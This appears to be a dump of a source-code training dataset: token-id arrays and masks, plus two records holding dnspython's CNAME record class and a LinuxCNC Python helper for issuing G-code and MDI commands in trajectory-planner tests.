[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
starrybeam/samba
third_party/dnspython/dns/rdtypes/ANY/CNAME.py
101
1091
# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose with or without fee is hereby granted, # provided that the above copyright notice and this permission notice # appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. import dns.rdtypes.nsbase class CNAME(dns.rdtypes.nsbase.NSBase): """CNAME record Note: although CNAME is officially a singleton type, dnspython allows non-singleton CNAME rdatasets because such sets have been commonly used by BIND and other nameservers for load balancing.""" pass
gpl-3.0
[ 3, 1898, 334, 35, 9, 13004, 13, 9488, 12, 8937, 13, 8128, 653, 676, 262, 453, 12, 3277, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 543, 503, 1928, 14751, 365, 11882, 10009, 12, 199, 3, 2741, 626, 314, 3432, 4248, 4245, 436, 642, 4983, 4245, 199, 3, 7468, 315, 1006, 6866, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 4825, 4896, 2639, 8990, 51, 11727, 2990, 199, 3, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 4825, 4896, 2639, 6262, 7024, 2381, 199, 3, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 199, 3, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 199, 3, 1634, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 646, 6715, 14, 82, 5717, 14, 561, 1095, 199, 199, 533, 445, 2339, 8, 5797, 14, 82, 5717, 14, 561, 1095, 14, 2709, 1563, 304, 272, 408, 35, 2339, 2777, 339, 3390, 26, 22160, 445, 2339, 365, 402, 4294, 1183, 282, 19768, 730, 12, 6715, 1548, 6127, 272, 2222, 13, 24675, 445, 2339, 519, 12281, 2952, 4066, 5951, 1172, 2757, 28829, 272, 1202, 701, 699, 3192, 436, 1163, 536, 5871, 367, 2248, 29300, 1041, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 13004, 13, 9488, 12, 8937, 13, 8128, 653, 676, 262, 453, 12, 3277, 14, 199, 3, 199, 3, 8779, 370, 675, 12, 1331, 12, 2811, 12, 436, 11207, 642, 2032, 436, 2399, 199, 3, 3794, 367, 1263, 12016, 543, 503, 1928, 14751, 365, 11882, 10009, 12, 199, 3, 2741, 626, 314, 3432, 4248, 4245, 436, 642, 4983, 4245, 199, 3, 7468, 315, 1006, 6866, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 4825, 4896, 2639, 8990, 51, 11727, 2990, 199, 3, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 199, 3, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 4825, 4896, 2639, 6262, 7024, 2381, 199, 3, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 199, 3, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 199, 3, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 199, 3, 1634, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 646, 6715, 14, 82, 5717, 14, 561, 1095, 199, 199, 533, 445, 2339, 8, 5797, 14, 82, 5717, 14, 561, 1095, 14, 2709, 1563, 304, 272, 408, 35, 2339, 2777, 339, 3390, 26, 22160, 445, 2339, 365, 402, 4294, 1183, 282, 19768, 730, 12, 6715, 1548, 6127, 272, 2222, 13, 24675, 445, 2339, 519, 12281, 2952, 4066, 5951, 1172, 2757, 28829, 272, 1202, 701, 699, 3192, 436, 1163, 536, 5871, 367, 2248, 29300, 1041, 272, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
renaelectronics/linuxcnc
tests/trajectory-planner/circular-arcs/linuxcnc_control.py
22
5422
#!/usr/bin/env python '''Copied from m61-test''' import linuxcnc import os from time import sleep # this is how long we wait for linuxcnc to do our bidding class LinuxcncError(Exception): pass # def __init__(self, value): # self.value = value # def __str__(self): # return repr(self.value) class LinuxcncControl: ''' issue G-Code commands make sure important modes are saved and restored mode is saved only once, and can be restored only once usage example: e = emc_control() e.prepare_for_mdi() any internal sub using e.g("G0.....") e.finish_mdi() ''' def __init__(self,timeout=2): self.c = linuxcnc.command() self.e = linuxcnc.error_channel() self.s = linuxcnc.stat() self.timeout = timeout def running(self, do_poll=True): ''' check wether interpreter is running. If so, cant switch to MDI mode. ''' if do_poll: self.s.poll() return (self.s.task_mode == linuxcnc.MODE_AUTO and self.s.interp_state != linuxcnc.INTERP_IDLE) def set_mode(self,m): ''' set EMC mode if possible, else throw LinuxcncError return current mode ''' self.s.poll() if self.s.task_mode == m : return m if self.running(do_poll=False): raise LinuxcncError("interpreter running - cant change mode") self.c.mode(m) self.c.wait_complete() return m def set_state(self,m): ''' set EMC mode if possible, else throw LinuxcncError return current mode ''' self.s.poll() if self.s.task_mode == m : return m self.c.state(m) self.c.wait_complete(self.timeout) return m def do_home(self,axismask): self.s.poll() self.c.home(axismask) self.c.wait_complete(self.timeout) def ok_for_mdi(self): ''' check wether ok to run MDI commands. ''' self.s.poll() return not self.s.estop and self.s.enabled and self.s.homed def prepare_for_mdi(self): ''' check wether ok to run MDI commands. throw LinuxcncError if told so. return current mode ''' self.s.poll() if self.s.estop: raise LinuxcncError("machine in ESTOP") if not self.s.enabled: raise LinuxcncError("machine not enabled") if not self.s.homed: raise LinuxcncError("machine not homed") if self.running(): raise LinuxcncError("interpreter not idle") return self.set_mode(linuxcnc.MODE_MDI) g_raise_except = True def g(self,code,wait=False): ''' issue G-Code as MDI command. wait for completion if reqested ''' self.c.mdi(code) if wait: try: while self.c.wait_complete(self.timeout) == -1: pass return True except KeyboardInterrupt: print "interrupted by keyboard in c.wait_complete(self.timeout)" return False self.error = self.e.poll() if self.error: kind, text = self.error if kind in (linuxcnc.NML_ERROR, linuxcnc.OPERATOR_ERROR): if self.g_raise_except: raise LinuxcncError(text) else: print ("error " + text) else: print ("info " + text) return False def get_current_tool(self): self.s.poll() return self.s.tool_in_spindle def active_codes(self): self.e.poll() return self.s.gcodes def get_current_system(self): g = self.active_codes() for i in g: if i >= 540 and i <= 590: return i/10 - 53 elif i >= 590 and i <= 593: return i - 584 return 1 def open_program(self,filename): '''Open an nc file''' self.s.poll() self.set_mode(linuxcnc.MODE_AUTO) self.c.wait_complete() sleep(.25) self.c.program_open(filename) self.c.wait_complete() def run_full_program(self): '''Start a loaded program''' self.s.poll() self.c.auto(linuxcnc.AUTO_RUN, 0) self.c.wait_complete(self.timeout) return self.check_rcs_error() def set_feed_scale(self,scale): '''Assign a feed scale''' self.s.poll() self.c.feedrate(scale) self.c.wait_complete(self.timeout) def wait_on_program(self): self.s.poll() while self.s.exec_state != linuxcnc.EXEC_DONE or self.s.state != linuxcnc.RCS_DONE and self.s.task_state == linuxcnc.STATE_ON: sleep(.25) self.s.poll() if self.s.task_state != linuxcnc.STATE_ON: return False if self.check_rcs_error(): print "Found RCS error while waiting, running again" self.run_full_program() return True def check_rcs_error(self): self.s.poll() if self.s.state == linuxcnc.RCS_ERROR: print "detected RCS error" return True return False def introspect(): os.system("halcmd show pin python-ui")
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 2344, 18268, 5299, 687, 333, 2976, 13, 396, 2344, 199, 199, 646, 7403, 85, 1812, 7966, 199, 646, 747, 199, 504, 900, 492, 9435, 421, 199, 3, 642, 365, 4212, 1846, 781, 3618, 367, 7403, 85, 1812, 7966, 370, 886, 4154, 330, 344, 1098, 199, 199, 533, 29730, 85, 1812, 7966, 547, 8, 1726, 304, 272, 986, 199, 3, 259, 347, 636, 826, 721, 277, 12, 574, 304, 199, 3, 263, 291, 14, 585, 275, 574, 199, 3, 259, 347, 636, 495, 721, 277, 304, 199, 3, 263, 372, 4700, 8, 277, 14, 585, 9, 199, 199, 533, 29730, 85, 1812, 7966, 3717, 26, 272, 1449, 272, 4976, 598, 13, 3034, 3718, 272, 1852, 3238, 11012, 12404, 787, 6290, 436, 14429, 272, 818, 365, 6290, 1454, 5403, 12, 436, 883, 506, 14429, 1454, 5403, 339, 4503, 2893, 26, 267, 325, 275, 325, 5466, 63, 2785, 342, 267, 325, 14, 6726, 63, 509, 63, 20208, 342, 288, 1263, 5007, 1007, 1808, 325, 14, 71, 480, 39, 16, 703, 12594, 267, 325, 14, 8192, 63, 20208, 342, 339, 1449, 339, 347, 636, 826, 721, 277, 12, 2593, 29, 18, 304, 267, 291, 14, 67, 275, 7403, 85, 1812, 7966, 14, 1531, 342, 267, 291, 14, 69, 275, 7403, 85, 1812, 7966, 14, 705, 63, 2775, 342, 267, 291, 14, 83, 275, 7403, 85, 1812, 7966, 14, 3736, 342, 267, 291, 14, 2593, 275, 2653, 339, 347, 3879, 8, 277, 12, 886, 63, 6843, 29, 549, 304, 267, 1449, 267, 1104, 781, 728, 12693, 365, 3879, 14, 267, 982, 880, 12, 286, 867, 6258, 370, 603, 1914, 818, 14, 267, 1449, 267, 340, 886, 63, 6843, 26, 288, 291, 14, 83, 14, 6843, 342, 267, 372, 334, 277, 14, 83, 14, 1765, 63, 632, 508, 7403, 85, 1812, 7966, 14, 6963, 63, 13883, 436, 355, 291, 14, 83, 14, 14252, 63, 929, 1137, 7403, 85, 1812, 7966, 14, 3843, 48, 63, 23715, 9, 339, 347, 663, 63, 632, 8, 277, 12, 77, 304, 267, 1449, 267, 663, 662, 7608, 818, 340, 3962, 12, 587, 7978, 29730, 85, 1812, 7966, 547, 267, 372, 1453, 818, 267, 1449, 267, 291, 14, 83, 14, 6843, 342, 267, 340, 291, 14, 83, 14, 1765, 63, 632, 508, 333, 520, 288, 372, 333, 267, 340, 291, 14, 5720, 8, 1117, 63, 6843, 29, 797, 304, 288, 746, 29730, 85, 1812, 7966, 547, 480, 20244, 3879, 446, 286, 867, 1570, 818, 531, 267, 291, 14, 67, 14, 632, 8, 77, 9, 267, 291, 14, 67, 14, 2573, 63, 4883, 342, 398, 372, 333, 339, 347, 663, 63, 929, 8, 277, 12, 77, 304, 267, 1449, 267, 663, 662, 7608, 818, 340, 3962, 12, 587, 7978, 29730, 85, 1812, 7966, 547, 267, 372, 1453, 818, 267, 1449, 267, 291, 14, 83, 14, 6843, 342, 267, 340, 291, 14, 83, 14, 1765, 63, 632, 508, 333, 520, 288, 372, 333, 267, 291, 14, 67, 14, 929, 8, 77, 9, 267, 291, 14, 67, 14, 2573, 63, 4883, 8, 277, 14, 2593, 9, 267, 372, 333, 339, 347, 886, 63, 4219, 8, 277, 12, 3127, 2629, 304, 267, 291, 14, 83, 14, 6843, 342, 267, 291, 14, 67, 14, 4219, 8, 3127, 2629, 9, 267, 291, 14, 67, 14, 2573, 63, 4883, 8, 277, 14, 2593, 9, 2378, 347, 4112, 63, 509, 63, 20208, 8, 277, 304, 267, 1449, 267, 1104, 781, 728, 4112, 370, 1255, 603, 1914, 3718, 14, 267, 1449, 267, 291, 14, 83, 14, 6843, 342, 267, 372, 440, 291, 14, 83, 14, 597, 411, 436, 291, 14, 83, 14, 3827, 436, 291, 14, 83, 14, 526, 3594, 339, 347, 9275, 63, 509, 63, 20208, 8, 277, 304, 267, 1449, 267, 1104, 781, 728, 4112, 370, 1255, 603, 1914, 3718, 14, 267, 7978, 221, 29730, 85, 1812, 7966, 547, 340, 370, 1447, 880, 14, 267, 372, 1453, 818, 267, 1449, 398, 291, 14, 83, 14, 6843, 342, 267, 340, 291, 14, 83, 14, 597, 411, 26, 288, 746, 29730, 85, 1812, 7966, 547, 480, 6744, 315, 221, 1719, 1938, 531, 398, 340, 440, 291, 14, 83, 14, 3827, 26, 288, 746, 29730, 85, 1812, 7966, 547, 480, 6744, 440, 5223, 531, 398, 340, 440, 291, 14, 83, 14, 526, 3594, 26, 288, 746, 29730, 85, 1812, 7966, 547, 480, 6744, 440, 5629, 68, 531, 398, 340, 291, 14, 5720, 837, 288, 746, 29730, 85, 1812, 7966, 547, 480, 20244, 440, 15072, 531, 398, 372, 291, 14, 409, 63, 632, 8, 472, 85, 1812, 7966, 14, 6963, 63, 45, 1914, 9, 339, 486, 63, 3730, 63, 2590, 275, 715, 339, 347, 486, 8, 277, 12, 600, 12, 2573, 29, 797, 304, 267, 1449, 267, 4976, 598, 13, 3034, 465, 603, 1914, 1414, 14, 267, 3618, 367, 13659, 340, 2648, 3505, 